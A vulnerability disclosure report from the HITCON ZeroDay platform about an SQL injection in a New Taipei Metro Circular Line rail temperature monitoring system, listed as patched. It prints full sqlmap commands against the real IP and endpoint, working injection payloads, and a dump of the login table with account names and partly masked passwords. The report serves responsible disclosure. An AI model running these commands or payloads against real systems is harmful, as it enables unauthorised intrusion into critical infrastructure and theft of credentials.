Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00798
- Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
- Title: 新北捷運公司新北大眾捷運環狀線 軌道溫度監控系統 存在注入漏洞
- Introduction: SQL Injection
處理狀態
目前狀態
公開
Last Update : 2024/09/19
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2024/07/15 17:56:12 : 新提交 (由 鄉民 更新此狀態)
- 2024/07/15 18:00:34 : 新提交 (由 鄉民 更新此狀態)
- 2024/07/18 14:52:41 : 新提交 (由 鄉民 更新此狀態)
- 2024/07/18 14:53:31 : 新提交 (由 鄉民 更新此狀態)
- 2024/07/18 14:55:12 : 新提交 (由 鄉民 更新此狀態)
- 2024/07/18 14:59:11 : 新提交 (由 鄉民 更新此狀態)
- 2024/07/19 09:47:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/12 17:06:40 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/12 17:06:40 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/08/12 17:06:40 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/09/11 16:47:16 : 已修補 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/09/19 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00798
- 通報者:鄉民
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://117.56.58.151:8388/tmpMonitorCir/
http://117.56.58.151:8388/tmpMonitorCir/authFunc.php
http://117.56.58.151:8388/tmpMonitorCir/authFunc.php
敘述
-
發現 新北大眾捷運環狀線 軌道溫度監控系統 的登入頁面
http://117.56.58.151:8388/tmpMonitorCir/ -
隨意登入測試發現可能有漏洞的連線
http://117.56.58.151:8388/tmpMonitorCir/authFunc.php
竟然直接帶出SQL !! 就你啦 -
目標參數分析
- URL:
http://117.56.58.151:8388/tmpMonitorCir/authFunc.php - 方法:post
- 參數:
- action: chkAuth
- userAccount: a
- userPw: b
- 可能注入參數:userAccount
- URL:
-
嘗試注入成功
使用工具: SQLMAP
❯ sqlmap -u "http://117.56.58.151:8388/tmpMonitorCir/authFunc.php" --os linux --random-agent --data "action=chkAuth&userAccount=ab&userPw=cd" -p "userAccount,userPw" --level=5 --risk=2 --tamper space2comment,space2hash,space2mssqlhash --fingerprint --batch
取得資訊如下:
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: active fingerprint: MySQL >= 5.7
Parameter: userAccount
Payload:
---
Parameter: userAccount (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: action=chkAuth&userAccount=ab' RLIKE (SELECT (CASE WHEN (8694=8694) THEN 0x6162 ELSE 0x28 END)) AND 'DgQK'='DgQK&userPw=cd
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: action=chkAuth&userAccount=ab' AND GTID_SUBSET(CONCAT(0x717a787871,(SELECT (ELT(9161=9161,1))),0x7176766271),9161) AND 'PIUt'='PIUt&userPw=cd
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=chkAuth&userAccount=ab' AND (SELECT 7823 FROM (SELECT(SLEEP(5)))lkLx) AND 'PvZN'='PvZN&userPw=cd
---
- 取得資料庫清單與資料庫使用者資訊
sqlmap -u "http://117.56.58.151:8388/tmpMonitorCir/authFunc.php" --os linux --random-agent --data "action=chkAuth&userAccount=ab&userPw=cd" -p "userAccount,userPw" --level=5 --risk=2 --tamper space2comment,space2hash,space2mssqlhash --dbms=mysql -dbs --hex --current-user --current-db --is-dba --batch
SQL Injection成功
取得資訊:
current user: 'tmpuser@localhost'
current user is DBA: False
current database: 'tmpMonitorCir'
available databases:
- information_schema
- tmpMonitor
- tmpMonitorCir
- 列出資料表
❯ sqlmap -u "http://117.56.58.151:8388/tmpMonitorCir/authFunc.php" --os linux --random-agent --data "action=chkAuth&userAccount=ab&userPw=cd" -p "userAccount,userPw" --level=5 --risk=2 --tamper space2comment,space2hash,space2mssqlhash --batch --dbms=mysql -D "tmpMonitorCir" --tables
Database: tmpMonitorCir
[5 tables]
+------------+
| alertLog |
| auth |
| deviceInfo |
| sensor |
| tmpLog |
+------------+
- 取得資料表auth內容
❯ sqlmap -u "http://117.56.58.151:8388/tmpMonitorCir/authFunc.php" --os linux --random-agent --data "action=chkAuth&userAccount=ab&userPw=cd" -p "userAccount,userPw" --level=5 --risk=2 --tamper space2comment,space2hash,space2mssqlhash --batch --dbms=mysql -D "tmpMonitorCir" -T "au h" --dump
Database: tmpMonitorCir
Table: auth
[2 entries]
+--------+--------------+-----------+---------------------+-------------+
| userId | userPw | charector | updateTime | userAccount |
+--------+--------------+-----------+---------------------+-------------+
| 1 | NT***er | user | 2022-06-12 15:07:47 | y07user |
| 2 | NT******min | master | 2022-09-25 10:34:25 | y07master |
+--------+--------------+-----------+---------------------+-------------+
- 結論
確實存在SQL Injection高風險漏洞,C,I,A 受到重大衝擊
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。